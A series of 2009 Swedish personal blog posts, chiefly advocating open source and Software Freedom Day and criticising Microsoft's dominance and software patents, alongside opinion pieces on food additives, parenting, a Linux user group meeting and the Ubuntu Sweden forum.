Men allra störst har som sagt mina förväntningar varit på Piratpartiet och dess medlemmar. När både Rick Falkvinge och Christian Engström propagerat för öppen källkod och öppna standarder vid flera tillfällen hade jag en illusion om att partiet brann för de här frågorna och var berett att driva dem aktivt. Jag borde ha anat oråd när inte ens Falkvinge själv bloggade om när Microsofts vice-VD dömde ut Piratpartiet, utan nöjde sig med att prata i Ekot i Sveriges Radio.

Kanske har jag helt misslyckats med att göra budskapet greppbart, att få det lättförståeligt och få det att fastna. Hade jag haft tid skulle jag gjort små informationsfilmer och ytterligare podcasts, som var kortare och mer to-the-point. Men tiden räcker inte alltid till. Med barn och en (förvisso inte alltför betungande men ändå tidskrävande) utbildning plus jobb vid sidan av så får jag välja vad jag ska lägga min tid på, precis som alla andra. Och jag kan inte göra allting själv.

Trots detta ska vi ändå fira på många ställen i Sverige. I Falun, Gävle, Linköping (fredag), Ludvika, Stockholm, Sundsvall, Örnsköldsvik och Östersund. Jag hoppas att de som gillar öppen källkod och bor i närheten av dessa platser dyker upp och firar med oss.

Läs även andra bloggares åsikter om datorer, fri programvara, it, linux, piratpartiet, software freedom day, öppen källkod

IT-mångfald skapar hållbarhet

2009-09-13T18:55:00.003+02:00

Jag satt häromdagen och lyssnade på Sveriges Radios sändningar från ett miljötoppmöte i Strömstad i Bohuslän den 7-8 september. Mötets tema var det om biologiskt mångfald, och i samband med detta intervjuade man en marinbiolog som förklarade varför det var så viktigt med biologiskt mångfald.

Marinbiologen menade att det inte bara var bra för sakens skull, att vi bör bevara arterna för att det är roligt att ha många olika arter i våra vatten, utan för att alla arter fyller sin funktion i ekosystemet. Om man har till exempel fem olika arter som har som specialitet att äta alger vid korallreven, spelar det ingen större roll om en av dessa temporärt slås ut via fiske, sjukdom eller annat. De andra fyra arterna kan ändå fylla den funktionen i ekosystemet.

På det här sättet bevaras stabiliteten i ekosystemet och det fortsätter att leva så som det alltid har gjort.

Om det däremot är bara en art som har samma funktion i ett visst ekosystem, blir systemet som helhet väldigt känsligt för yttre och inre störningar. Om den enda arten slås ut av miljögifter, sjukdom eller överfiske, hotar det på sikt hela ekosystemet.

Detsamma gäller våra kära IT-system. Så gott som nittio procent (åtminstone mellan 85-90% enligt alla mätningar) av alla skrivbordsdatorer kör någon form av operativsystem från Microsoft. Windows 2000, Windows XP, Windows Vista och nu senast Windows 7, som kommer att släppas om en månad.

Alla dessa operativsystem bygger på samma kärna även om de ser lite olika ut. Det innebär att de i mångt och mycket är mottagliga för samma typer av hot. Ofta är de säkerhetsluckor som finns, identiska mellan dessa olika versioner.

Det vill säga, en sårbarhet som finns i Windows XP finns ofta även för Windows 2000, Vista och 7 samtidigt. Och oavsett om detta säkerhetshål bara finns för Windows XP, innebär det ändå att två tredjedelar av världens skrivbordsdatorer är hotade.

Jag själv surfar däremot helt säker från just det speciella hotet, eftersom mitt operativsystem bygger på Linux-kärnan. Jag är å andra sidan mottaglig för attacker mot sårbarheter i Linux, som lämnar Windows XP-användare helt oberörda. De som köpt sina datorer från Apple, sitter säkert för alla attacker som inte berör deras speciella arkitektur.

Oavsett vilket operativsystem man använder finns det risker. Problemet på ett samhälleligt plan är att så stor andel av världens skrivbordsdatorer kör Windows i en eller annan form. Precis som i ett skadat ekosystem, är allting ifrån företagsnätverk till själva Internet mer sårbart eftersom ett operativsystem dominerar så totalt.

Man kan på ett ganska enkelt sätt slå ut stora delar genom att inrikta sig på den dominerande plattformen. Och hoten är ständigt återkommande.

Ett riktigt allvarligt virus som bara inriktar sig på Windows skulle kunna lamslå hela landet. Svininfluensan i all ära, men den homogena Windows-miljön som finns på var och varannan myndighet är ett lika stort hot mot den "nationella säkerheten" och allt vad man talat om.

Genom att sprida ut sina risker på flera operativsystem kan man säkerställa driften av viktiga samhälleliga funktioner såsom Internet-drift och kritiska styrsystem. Alla virus/maskar är ju inte lika harmlösa som Melissa.

Mångfald skulle dessutom gynna dig som privatperson, så länge du har det operativsystem som inte är drabbat av just den farsot som plågar IT-världen för tillfället.

Det är bland annat för IT-mångfald och framtidssäkerhet som Software Freedom Day firas.

Om du är i Stockholm, kom till Norrmalmstorg den 19 september, eller kolla efter andra firanden runtom i landet.

Läs även andra bloggares intressanta åsikter om datorer, fri programvara, it, microsoft, mångfald, software freedom day, windows, öppen källkod

Öppen källkod och fri tillgänglighet är vägen att gå

2009-09-08T12:56:00.006+02:00

Jag får mig till livs via Ekot att Microsofts vice VD Marshall Phelps anser att Piratpartiet är ett hot mot innovation och ny företagsetablering i det "nya" kunskapssamhället. Detta eftersom Piratpartiet vill revidera upphovsrätten och är emot mjukvarupatent.

Phelps menar att om man inte ser ekonomiska incitament (vilket i det här sammanhanget innebär att kunna ta betalt för alla företeelser som vagt beskrivs i ett icke-fackmannamässigt dokument, som till exempel dubbelklick(!)) för att utveckla idéer, så kommer man inte att försöka.

Det undantar helt det faktum där MySQL och andra företag använder sig av öppen källkod och socialt kapital för att sprida och även tjäna pengar på sina produkter.

Mjukvarupatent är jag väldigt mycket emot, speciellt i de former som de har idag, där patentbeskrivningen ofta är typ

A default function for an application is launched if the button is pressed for a short, i.e., normal, period of time. An alternative function of the application is launched if the button is pressed for a long, (e.g., at least one second), period of time. Still another function can be launched if the application button is pressed multiple times within a short period of time, e.g., double click.

Det här kan ju tillämpas på allt möjligt, och hur länge som helst. Och dubbelklick är det inte ens Microsoft som kommit på. 2004 fanns det dessutom rätt mycket "prior art" på området, vilket gör det hela rätt löjeväckande.

Däremot är jag inte lika säker på att förkorta längden på upphovsrätten till fem år. Den absolut största mjukvarulicensen för fri programvara, GPL, förlitar sig på upphovsrätten för att säkerställa att de friheter den hävdar, kan upprätthållas. Om man skulle ta bort den möjligheten finns det ingen som kan hindra företag från att ta den fria och öppna källkoden och stänga in den i en av sina egna produkter.

Visserligen kan fem år kännas som en rätt lång tid i IT-ålder räknat, men betänk att Windows XP är åtta år gammalt redan, och används fortfarande av mellan 65-70% av alla datoranvändare.

Hur som helst, precis som Falkvinge menar så är (ur Ekot):

Mr Phelps [..] kvar i en ekonomi där vi fortfarande hade vissa brister i distributionen, där du fortfarande kunde tjäna pengar på ett lite äldre sätt

Per exemplar-licensiering och mjukvarupatent är saker som snarare hör en annan IT-ålder till. Nu är det deltagarkultur, öppen källkod, öppna standarder och fri tillgänglighet till information som gäller. Och uppenbarligen känner Microsoft flåset i nacken från Linux. Annars hade man nog inte gjort en sån här anti-Linux-kampanj.

Missa inte min podcast om fri programvara och öppen källkod, linux, öppna standarder och Software Freedom Day.

Läs även andra bloggares åsikter om fri programvara, linux, microsoft, mjukvarupatent, open source, öppen källkod

Mindre än två veckor till Software Freedom Day

2009-09-07T09:50:00.005+02:00

Nu börjar det närma sig dagen då över 500 team i över 100 länder går ut på gatorna och firar existensen av Fri programvara och Öppen källkod, evenemanget som kallas Software Freedom Day. Dagen till ära har jag knåpat ihop en liten podcast om Fri programvara och Öppen källkod. Den finns som torrentfiler i formaten

MP3 (79Mbyte) och

OGG (134 Mbyte)

Själv föredrar jag OGG-formatet, men jag förstår de som vill ha MP3 istället.

Sprid den till alla som ni vill ska få en liten inblick i vad Fri programvara och Öppen källkod (Free and Open Source Software - FOSS) står för. Inte för att jag har den allenarådande definitionen i min podcast, men ni fattar...

Följ firandet av Software Freedom Day i Sverige på http://live.softwarefreedomday.se och kolla var närmsta firande är på fosskalendern.se.

Välkomna!

Läs även andra bloggares åsikter om fri programvara, linux, software freedom day, ubuntu, öppen källkod

Öppen källkod och vikten av att göra sig ett namn

2009-08-09T15:29:00.004+02:00

Nu är det mer än bekräftat. Visserligen är det inga nyheter utan mer av karaktären att slå in öppna dörrar, men det cementerar verkligen min uppfattning att för att frågor ska nå genomslag så krävs det att inflytelserika personer eller organisationer tar till sig dessa.

I inget annat fall är det så uppenbart än i frågan om öppen källkod och öppna standarder. I förrgår skrev tydligen Johanna Nylander något som jag och några med mig skrikit oss hesa över i några år nu. Nämligen att Microsoft totaldominerar vårt samhälle och därmed sätter spelreglerna för vår demokrati.

Vips hade hon 57 (en del förvisso rätt inavlade) kommentarer till artikeln i Expressen. Och fem blogglänkar av Martin Bagge, Farmor Gun, jj.n, En objektiv sanning och Anna Troberg.

Och enligt egen utsaga har hon fått mail som tackar henne för att hon tagit upp den här frågan. Frågor som alltså vi inom Öppen källkods-världen har gastat om hur länge som helst. Vad lär vi oss då av den här historien?

En hel del, faktiskt. Dels att det är viktigt att redan etablerade namn och företeelser tar upp frågorna man brinner för och att vi inom Fri programvara och Öppen källkod i bloggosfären är riktigt usla på att förmedla vår ståndpunkt. Trots ett decennium på internet är det fortfarande ingen mainstreamfråga innan Johanna Nylander tar upp det i en artikel i Expressen, plus de artiklar i DN som avhandlat ämnet i artikelserien "Du, Jag och Internet". Dessa artiklar är:

Kampen som kan vinnas av öppenhetsivrarna
Kriget om den öppna källkoden

Stående ovationer till Jenny Stierstedt för dessa båda. Men framför allt lär det oss att vi inte klarar av att i sann Web 2.0-anda "be the media", alltså själva förmedla våra idéer på ett sätt som når ut till de stora massorna. Vi är generellt sett usla på att länka till varandra, pinga bloggtjänster, kommentera bloggar och på det hela taget visa att vi finns. För att inte tala om att använda Youtube, twitter och Bambuser.

Det behövs bot och bättring på den här fronten. Att vi funkar fint på våra egna forum står redan klart, men det är inte här insatserna behövs. Många använder Öppen källkod på grund av de tekniska egenskaperna. Men de verkligt stora vinsterna kan göras då man slår på de ideologiska strängarna hos folk. Öppen källkod är rätt långt ifrån en enbart politisk fråga, men om alla som appelleras av friheten, öppenheten och den crowd-sourcing som Fri programvara och Öppen källkod innebär börjar prata i dess namn har vi en rätt stor folksamling att välja ur.

Jag och flera med mig jobbar för att Software Freedom Day ska bli en vändpunkt på den här fronten. Denna dag går av stapeln den 19 september.

Var med och fira du också.

Läs även andra bloggares åsikter om 19 september, bloggosfären, expressen, fri programvara, länkning, software freedom day, öppen källkod

Dustin ger pengarna tillbaka för Windows

2009-08-04T19:01:00.004+02:00

Bild från http://www.windowquoteusa.com/tax-credits.html

Som de flesta av er vet levereras de flesta datorer med en variant av Windows förinstallerat. Det har länge varit omöjligt att inte behöva betala för detta oavsett om man vill använda det eller inte. Förvisso finns det datorleverantörer där det går att beställa datorer utan Windows, men dessa har inte alltid rätt hårdvara eller är på det ena eller andra sättet inte ett lika bra köp som de datorer som finns hos större leverantörer.

För oss som använder annan programvara som Linux är det en rätt onödig utgift, men många kedjor så som Onoff, Elgiganten och Siba ser dator och programvara som en produkt. Är du inte nöjd med att Windows finns förinstallerat får du således returnera hela datorn, eller bita i det sura äpplet. (och då menar jag inte Apple)

Nu har i alla fall Henrik Larsson på Ubuntu Sverige (tråd) lyckats få tillbaka 300 kronor för sin Windows Vista Business-licens.

Niklas Andersson på TechWorld Open Source bloggar om detta och jag är lika glad som han är över detta faktum. Visserligen är 300 spänn ett underpris för en Windows Vista Business. Denna produkt kostar nämligen från 1400 spänn på Dustins egen webbplats. Men det är i alla fall bättre än att inte få några pengar över huvud taget för något som man inte har någon intention att använda.

Grattis till Dustin för det här beslutet.

Läs även andra bloggares åsikter om datorer, dustin, linux, microsoft, ubuntu, vista, windows, windowsskatt, återbäring

Hej godtycklig rättsskipning

2009-08-01T08:51:00.002+02:00

Jag läser TT-telegrammet vars ingress är lika lång som själva "artikeln" om att The Pirate Bays upphovsmän har tilldömts böter på 30 000 euro per dygn som de låter nederländska medborgare komma åt webbplatsen.

Detta öppnar ju upp för fantastiska möjligheter att skapa rättsfall över hela världen och tillämpa olika länders lagstiftning beroende på vad man i slutändan vill ha fram för domslut.

Som nästa åtgärd tänker jag därför åka till Eritrea och tubba några mäktiga politiker där att stämma Aftonbladet och Expressen för att de gör sina tidningar tillgängliga för den eritreanska befolkningen och även för svenska eventuella turister (som förvisso kan räknas till under hundratalet vid varje givet tillfälle). Jag vill ha minst 500 000 kronor per dag för att båda dessa tidningar sprider fördummande journalistik över hela världen och då speciellt Eritrea, och detta kan fortgå i obestämd framtid eftersom Eritrea handlar rätt så godtyckligt i dessa rättsfrågor. Jag kommer att använda den uppenbart falska rapporteringen gällande Dawit Isaak som exempel.

Vidare tänker jag stämma hela bibelbältet i USA för att de är så erbarmligt korkade på sina webbplatser att det riskerar att ta med sig hela världen ner i skiten. Jag tänker mig att femton fantasiljarder i veckan bör täcka de skador som uppstår på intet ont anande människors näthinnor.

Slutligen tänker jag stämma den amerikanska filmindustrin för att ha släppt på tok för många usla "romantiska komedier" på marknaden. Enbart stämningen mot Mitt stora feta grekiska bröllop och The wedding singer har jag stora förhoppningar kommer att inbringa nog med pengar för att föda de svältdrabbade delarna av Afrika i decennier. Och det är ju bara en av Adam Sandlers usla filmer. Men jag kommer såklart att behålla alla pengarna själv.

Dessa rättsfall kommer såklart att ha mycket större inverkan på moralen i samhället än den iranska stämningen mot Johanna Sjödins bara bröst och kommer att inbringa mångfaldigt mer i reda pengar.

The Pirate Bay motstämmer också Mr. Kuk för förtal, vilket kan ha stora effekter på sexindustrin. Det ska bli intressant att följa den rättsprocessen. Lite Torsk på Tallinn sådär.

Till sist kan meddelas att Musse Pigg, drivande i frågan om skyddstid för upphovsrättsskyddade verk i och med sin debutfilm Steamboat Willie, också engagerar sig i piratjakt på lediga stunder.

Det räcker tydligen inte att Musse ska utöka sin upphovsrättstid varje gång tiden för Steamboat Willie håller på att rinna ut.

Läs även andra bloggares åsikter om fildelning, the pirate bay, upphovsrätt

Skitmat

2009-07-29T10:42:00.003+02:00

När jag ändå är inne på min mer samhällsmoralistiska linje kan jag lika gärna ondgöra mig lite över all skit som finns i maten. Det är precis som när det gäller alla andra områden jävligt enkelt att ta den enkla vägen ut och stoppa i sig vad skit som helst. Medan jag har väntat på att sonen ska vakna har jag läst lite i Den hemlige kocken.

Jag visste sedan innan att det finns rätt gott om tillsatser i maten, men att fusket med ingredienser var såhär utbrett det hade jag ingen aning om. På något sätt har jag fått intrycket av att de svenska livsmedelsbutikerna och -tillverkarna ändå haft lite av sina kunders bästa för ögonen. Så är tydligen inte fallet.

Vi får i oss i genomsnitt 6-7 kilo tillsatser om året, och det är inte så illa med tanke på att de flesta tillsatserna är högkoncentrerade ämnen som ger mycket bang for the buck. Många av dessa tillsatser har tillsatts utan att man utrett eventuella långsiktiga konsekvenser för konsumenten. Det räcker med att de inte är uttryckligt farliga på kort sikt för att de ska tillåtas.

Det är så enkelt att ta den lätta vägen och köpa färdiga rätter till lunchen, stekfärdiga köttbullar och pulvermos (uäck) istället för att ta tid på sig och tillreda den äkta varan. Och även om man tar den äkta varan (exempelvis köttfärs) så har det ju visat sig att den å sin sida kan vara flera veckor gammal. Vilket ben ska man stå på och hur ska man göra?

När jag läser om hur viss färskpressad juice kan vara så mycket som elva månader gammal önskar jag att jag hade blivit förvånad. Eller att jag blivit bestört av att den basturökta skinkan som säljs i butikerna inte ens har varit i närheten av en basturök. Men det är tydligen så att inte så mycket förvånar mig längre när det kommer till företag och vinstmaximering.

Inte ens många råvaror kan man lita på. Att kycklingfiléerna som säljs är så fulla i vatten att de håller på att spricka är väl heller ingen överraskning, men att inte ens mjölet i påsen är rent alla gånger, det är lite svårare att smälta.

Mest intressant i boken är det historiska perspektivet. Det som för hundra år sedan fick specerihandlare bespottade på gator och torg höjer man inte längre på ögonbrynen åt, för det är så industrialiserat och fjärmat från insyn att man inte har en aning om hur det går till. Författaren hittar 136 olika brödsorter i sin butik och endast en handfull av dessa är fria från onaturliga tillsatser.

Att godis är ohälsosamt är knappast någon nyhet, men att inte ens det som man är tänkt att äta istället - alltså Riktig Mat™ - är speciellt säkert att trycka i sig gör att åtminstone jag börjar gnola på den gamla Hoola Bandoola Band-låten Vem (i hela världen) kan man lita på?.

Kanske är den gamla X-files-devisen sann. "Trust noone".

(Precis när jag publicerat inlägget får jag en riktad annons från GoogleAds om Svenskt kosttillskott. Oh the irony.)

Läs även andra bloggares åsikter om den hemlige kocken, hyckleri, mat, tillsatser

Föräldraskap vs. förvaring

2009-07-29T04:51:00.002+02:00

Igår var baddagen framför andra. Vi lyckades vrida ur åtta timmars vistelse på Storsjöbadet. Sonen som lärde sig att hålla sig flytande i våras (simma är ännu ett lite för starkt ord) plaskade runt och ömsom dök från bassängkanten, åkte vattenrutschkanor och kastade badboll. Dagen innan det hann vi med en minigolf-runda och hopp på studsmatta.

Utan att klappa mig själv på axeln för mycket tycker jag att jag är en rätt okej förälder. Jag tar aktiv del i sonens utveckling och försöker ha roligt på hans villkor. När en del människor tänker på att bli förälder så är det första levnadsåren förknippade med att köra barnvagn i goda vänners/väninnors lag och fika gata upp och gata ner, ständigt med en latte-to-go i handen.

När denna period är avklarad, skickar man in dem på dagis och fortsätter sitt dagliga liv, för man verkar anse att dagis tillgodoser barnets alla behov. Själv ser man till att vara så trött efter jobbet att utfodring och tv är det enda man ger sitt barn sett till livsfärdigheter. Märk väl, jag säger inte att man inte kan vara en kärleksfull förälder om man inte orkar aktivera sitt barn. Men samtidigt kan man inte räkna med att dagis/skola ska lära dem allt de behöver veta om livet. Ofta lyser det igenom att man heller inte är så trött, när det kommer till den högt skattade egentiden. Då saknas det ingen energi för att resa eller gå på lokal. Men för en del är det så betungande att vara förälder att man måste åka på semester utan barnen varje år, eller ge sig några rejäla krogkvällar i månaden (eller i veckan) för att orka med. Eller så skickar man helt enkelt barnen till mor- eller farföräldrar så att "de får sitt lystmäte". Föräldraledigheten förläggs till OS eller VM i någon stor publiksport.

Föräldraledighet i all ära, jag var det förra sommaren och det var givande som fan. Men i år har jag inte tagit ut resten av mina föräldradagar, eftersom jag valt att bo utanför det vanliga samhället. Det är ett val jag gjort för att ha möjlighet att vara med min son utöver de timmar som påbjuds när man har jobbat. Jag kunde ha haft ett jobb som gav mig en finansiellt och socialt sett mer normativ tillvaro, men jag har valt mitt sätt att leva utifrån hur mycket tid jag kan ge sonen. Genom mitt levnadssätt får jag all tid i världen för att umgås, ha roligt och utvecklas. Förvisso har det inte varit så mycket umgänge, men det har berott på andra omständigheter än tidsbrist.

Förmodligen ses det som väldigt udda och konstigt, och ögonbryn höjs säkert på både det ena och andra hållet, men jag värdesätter tiden med min son så mycket högre än pengar. Vi kan äta oss mätta och vi kan hålla oss hela och rena, så vad är det som fattas? Måste man verkligen ha alla bekvämligheter som vi tar som självklara för att livet ska ses som fungerande? Måste man ha tv, mikro, flera rum och kök, hyllmeter med filmer, tv-spel, en blå studsmatta, leksaker i överflöd, 538 gosedjur, eget badrum, mobiltelefoner, 100-mbit, 84 kanaler med barnprogram och fem datorer för att ha en dräglig tillvaro?

I think not.

En majoritet av världens befolkning klarar sig faktiskt utan det mesta av detta. Det är inte så förvånande att det finns tv-program som SuperNanny och annan skit. Desperata liv kräver desperata åtgärder. Och var annars ska de skildras om inte i vår tids opium för folket, televisionen?

Jag tar hellre en dräglig tillvaro med tid över för att ta aktiv del i mina barns liv, än en tillvaro i lyx där jag måste leja bort umgänget till en au pair. Jag har kunnat få båda, men vad är det värt i slutändan?

Läs även andra bloggares åsikter om barn, ekonomi, föräldrar, föräldraskap, levnadsstandard, tid

Z-LUG, träff den 26 juli (Jämtlands Linux User Group)

2009-07-27T06:07:00.003+02:00

Så har den andra officiella träffen för Jämtlands Linux User Group (Z-LUG på facebook) gått av stapeln. Vi dubblade antalet deltagare till den här gången och vi fick också vår första kvinnliga deltagare. Förvisso var hon närmast sörjande till en av oss som var där på första träffen, men det känns ändå lite speciellt. ;)

Träffen började enligt schemat med fika och allmänt rundsnack och fortsatte inte helt enligt schemat med en grundläggande (nåja) genomgång av GIMP, GNU Image Manipulation Program. Då de flesta närvarande var gamla garvade Linux-nördar kände sig föredragshållaren (yours truly) lite smålöjlig, men det hela avlöpte utan större pinsamma incidenter.

Undertecknad fortsatte sedan med att förevisa sina försvinnande små kunskaper i videoredigeringsprogrammet Kdenlive, som bara kraschade en gång under hela presentationen. Det måste anses vara någon typ av rekord.

Därefter avvek några av deltagarna, men de flesta drog över den utsatta tiden med en dryg timma, vilket måste anses vara ett gott betyg. Det diskuterades alltifrån inlåsning och utveckling till rockbåtar och Software Freedom Day. Två tappra stred fram till halv elva efter diverse födointag, men då började tröttheten ta ut sin rätt.

På det hela taget en väldigt trevlig och rolig eftermiddag/kväll.

Nästa träff är den 23 augusti. Välkammad utter!

Läs även andra bloggares åsikter om foss, fri programvara, jämtland, linux, lug, sfd, zlug, öppen källkod

Ubuntu i Sverige är ju helt jävla otroligt

2009-07-20T01:22:00.007+02:00

Alltså, det finns ett forum på Internet som gärna och ofta skryter med hur många användare som de har, och hur fantastiskt det har vuxit under de senaste två åren. Dessa två år har styrning och framåtanda funnits i skrift, men den har sällan eller aldrig omsatts i något konkret. Istället har man diskuterat sig minutiöst framåt till en 100-procentig lösning där till slut alla inblandades entusiasm har gått till spillo och ingenting i princip har åstadkommits.

Istället är det ett dussin glappkäftar som gärna vädrar sina åsikter och anmärkningar med andra som dödar all kreativitet och med sina långdragna skitdiskussioner drar ner hela resten av de tusental som är aktiva i månaden rakt i botten.

Trots sin till synes breda användarbas är det ett knappt femtiotal som är verkligt engagerade och det är dessa som utgör gräddan av diskussionsklubben. Här är det inte ovanligt att trådar om absolut ingenting drar iväg i upp emot 100 inlägg.

De skulle inte tveka länge att diskutera färgen på cykelskjulet i veckor när de bygger ett kärnkraftverk, eller i månader debattera vilket material det ska vara på flygvärdinnornas knappar när de ska starta ett flygbolag.

I kläm hamnar såklart användarna, de som behöver support, dokumentation och en spark i arslet in i världen som forumet erbjuder. En spark i arslet kan de få, men bara en negativ sådan då några av de femtio engagerade bryter in i supporttrådarna och debatterar hur man bäst ska hjälpa dem cykla uppför backen, om det är med segel eller genom att putta i ryggen.

Här står idealisterna mot pragmatikerna. De som skiter i allt vad principer heter, och de som skulle dö för dem oavsett hur obekväm döden är. Ett ständigt inre krig rasar och konspirationsteorierna haglar tätt, att forumadministrationen slutit en pakt med djävulen, eller att de alla är en hemlig del av Illuminati. Konspirationsteoretikerna överdriver inte sällan sin egen betydelse, utan vill gärna se sig som upphovet till utfall av omröstningar, eller varför inte vara upprinnelsen till att det finns demokrati i forumet över huvud taget.

Gemensamt för alla dessa högljudda nötter är att ingen av dem vill ha en ledande roll eller faktiskt driva något framåt. De ser sig som oberoende kritiker som bara lyfter fram de konspirationer och oegentligheter som försiggår på forumet. För alla vet ju att egentligen är moderatorerna tillsatta av mörka krafter som bara är ute efter att djävlas med enskilda medlemmar, som givetvis bara har ärligt uppsåt och är helt oskyldiga till vad som än de elaka moderatorerna beskyller dem för.

Till sin hjälp för sitt värv att arbeta för ordning i forumet har moderatorerna en bomulls-topz och en deostick. Det är dessa vapen som de svingar vildsint mot oskyldiga medlemmar. Till allas förvåning fungerar det inte alls.

I toppen på skutan sitter kaptenen och försöker tillrättavisa medlemmarna genom att ropa ner till dem vad de ska eller inte ska tänka, men av någon anledning har det demokratiskt beslutats att kaptenens armar och ben måste vara ihopsurrade bakom ryggen, så att kaptenen varken kan gå eller röra sig. Istället har kaptenen några adjutanter som fläckvis blivit så feta och liknöjda av åratals gott leverne på "sitt" forum att de inte kan bemödas med att göra någonting. Om de ens får lov att göra något på egen hand, det är det ingen som vet. För kartan som någon ritade upp över vem som för befälet och hur det låter då har tappats bort under färden. Antalet folk som rent teoretiskt har befogenheter har dock vuxit explosionsartat. Det finns administratörer, det finns globala moderatorer, det finns lokala moderatorer, det finns en helvetes massa människor i ansvarsfulla positioner. Och det är också anledningen till att så gott som inget händer. Byråkrati och ansvarsfriskrivning är ledorden. Gör du inget kan du inte göra något fel. Regeln om att man inte bör ha större arbetgrupp än åtta personer är sedan länge överskriden.

Hela forumet bär pinsamt stor likhet med B-skeppet från Golgafrincham i Liftarens Guide till Galaxen, det som är fullt av hårfrisörer, telefonsanerare och andra nyttiga människor. Jag bara väntar på att man ska instifta antalet tecken på inläggen som valuta för hur värdefull man är för forumet. Det är ändå bättre än löv. Och det är garanterat inte bara folkets fel, utan det är strukturen på forumet som gör att den här skiten får fortgå.

Det finns tre enkla saker att göra, men ingen som törs göra dem:

1. Banta organisationen. Bort med de med ansvarsposition som aldrig gör något eller ens är inloggade.

2. Bygg från toppen. Låt en eller maximalt två personer välja organisation och individer att arbeta med. Folk som tycker annorlunda är nyttiga, men diametralt motsatta personer funkar inte i en arbetgrupp.

3. De som inte bidrar med mer än osämja och tjöt ska avgå från sina uppdrag och lämna forumet. Det gäller särskilt de som suttit i flera år och egentligen tröttnat, men gillar makten. Ni förstör, inse fakta!

Just nu leder organisationsförslaget om att fem personer i en styrelse ska sitta och dirigera massorna på forumet. Var man ska hitta dessa är för mig en gåta. Det hade varit svårt nog att hitta två kompetenta personer som är det andra förslaget, som har kapacitet att få folk ur dödläget som råder.

Välkommen in för att se själv. Eländet finns att beskåda på http://ubuntu-se.org/forum.

Läs även andra bloggares intressanta åsikter om sverige, ubuntu, loco

spontana möten

2009-07-18T17:09:00.003+02:00

Verkligheten är lite som Internet. Det finns aldrig någon som kan förutse vad för intressanta personer man kan ramla över bara sådär.

Idag har jag varit och badat. När jag ligger där på bryggan och läser en tidning ser jag i ögonvrån hur det är något som börjar närma sig. Något vitt och stort. En båt. "Kommer jag och stör?" frågar en gubbe, står ensam i ruffen med huvet uppstucket genom takluckan, skepparkeps på svaj.

Jag som aldrig brukar få sällskap när jag är där, det är så gott som alltid folktomt, trots att det hör till ett av Storsjöns smultronställen. Lite lätt överraskad tänker jag att han nog bara ska gå iland en kort stund, så jag svarar "Det är ju en allmän brygga, så kom in du".

Jag hjälper honom lägga till och förtöja båten, hans mage kommer ut ur ruffen en stund före resten av kroppen och han justerar fendrarna och frågar om jag har någon koll på badtemperaturen. "Det är nog en 17-18 grader i alla fall" säger jag och gissar vilt. Jag gillar att bli rejält varm innan jag hoppar i, så jag har inte kommit så långt än. Klockan är bara strax efter halv elva, om jag får döma efter solen.

Så han hoppar i ett par badbyxor, ett ombyte som jag tack och lov slipper se, och promenerar ner i vattnet. "Ja, det är ju inte alla som tycker det här är skönt" säger han och syftar på temperaturen.

Sen rullar det på. Vi pratar om allt mellan himmel och jord, från skolpolitik, socialpolitik, piratpartiet och integritet på nätet till Linux och fri programvara, fjällvandring, skidåkning, segling och utvecklingsländer i förändring. Han är gammal lärare. Hårigare än Sean Connery och som sagt med en kula som inte går av för hackor.

Jag sitter på bryggan och äter mina äpplen, han sitter i båten och dricker God Morgon apelsinjuice direkt ur paketen och äter bullar. Vi skrattar gott och ämnena byts av som survturerna i en pingismatch.

Fem timmar går, där vi bara sitter och pratar, argumenterar, motargumenterar och debatterar. Sen skiljs vi åt, han lägger ut och jag går till bilen. Jag ser i innerbackspegeln att jag ser ut som en halvmåne med röd skuggsida i ansiktet efter att ha suttit vänd åt samma håll så gott som hela tiden. Jag har ingen aning om vad han heter.

Men det var ett intressant möte och jag vet att vi gjorde intryck på varandra. Lite som på Internet, fast utan överdrifter, "jag är spännande"-lögner och skitsnack som fyller en del människors bloggar och nätkonversationer.

Uppfriskande, på det hela taget.

Vad är det för fel på folk?

2009-07-18T00:54:00.003+02:00

Alltså, ibland blir man ju så bestört när man läser saker så man bara baxnar. En av de sakerna är att Anders "Engla-mördaren" Eklund har gått och skaffat flickvän. Det finns tydligen ingen hejd på förvirrade ska-ta-hand-om-den-stackaren-han-är-bara-missförstådd-prospects därute i världen. Vad är det med folk? Hur fan är man funtad? Nog för att det finns tillräckligt med dumma jävlar som hela tiden hittar på ursäkter för de människor de är kära i, "han slår mig för att han är rädd", "han är egentligen jättekär, men han har aldrig kommit hit till mig, för han vågar inte", "hon är otrogen för att hon är trasig inombords". Listan på dåliga ursäkter kan göras jävligt lång. Och historien verkar upprepa sig gång på gång. På gång.

Och nu är det alltså Anders Eklund som säkert får mängder med beundrarbrev i fängelset från hjärndöda barmhärtiga samariter som tycker att han verkar sympatisk och bara behöver lite kärlek, som skaffat flickvän. Och visst, han behöver säkert kärlek, men först och främst behöver han psykologhjälp.

Frågan är bara vad det är som drar en viss typ av människor till psykiska vrak. Men det är en annan bloggpost.

Förlåta och gå vidare är väl en bra sak, i och för sig. Vad jag inte riktigt kan förstå är hur man kan bortse från alla signaler om att allt inte är riktigt som det ska vara. Jag skrev för ett tag sedan en bloggpost om filmen He's just not that into you. Där är det ändå förhållandevis normala män och kvinnor som håller på, men i det här fallet?

Alltså, om en snubbe som säger sig vara intresserad aldrig har lagt två strån i kors eller fem spänn för att träffas, då är det väl rätt uppenbart att han (eller hon) inte har några större känslor att tala på. Men om han eller hon sitter inspärrad för barnamord, då kanske det inte är lika enkelt, eftersom han eller hon är fysiskt förhindrad att ta sig någonstans. Fel. Det är enklare, men av en helt annan anledning. Snubbar som har begått barnamord är helt enkelt bad news.

Så sluta upp nu och hitta på ursäkter för totala stolpskott. Det måste väl finnas någon bättre än Anders Eklund att lägga sin kärlek på?

Google:s Linuxbaserade OS

2009-07-08T14:08:00.003+02:00

Nätet svämmar över av rapporter om att Google ska ta sig in på operativsystemsmarknaden för ultraportabla/mini-laptops/whatever. Både ARM-processorer och x86-processorer blir det.

Operativsystemet ska vara baserat på Linux-kärnan och (som det verkar) i princip bara innehålla Googles egen webbläsare Chrome. Det är väl därför det heter Chrome OS, antar jag. Ibland överträffar jag mig själv.

Det här känns lite som ett tveeggat svärd för mig. Enligt Google själva ska de designa om systemet från grunden och göra uppstartstiderna för de datorer som operativsystemet kommer förinstallerat på väldigt korta.

Det här är ju ett ypperligt tillfälle för Linux att ta lite större marknadsandelar, men samtidigt undrar jag om Google behåller binärkompatibiliteten med ett "vanligt" Linux-system eller om det blir ett system som verkligen blir ett Google-operativsystem och inte ett Linux-operativsystem.

Och projektledaren skriver på googlebloggen att man kommer att öppna upp källkoden så småningom, men att den inte är öppen nu.

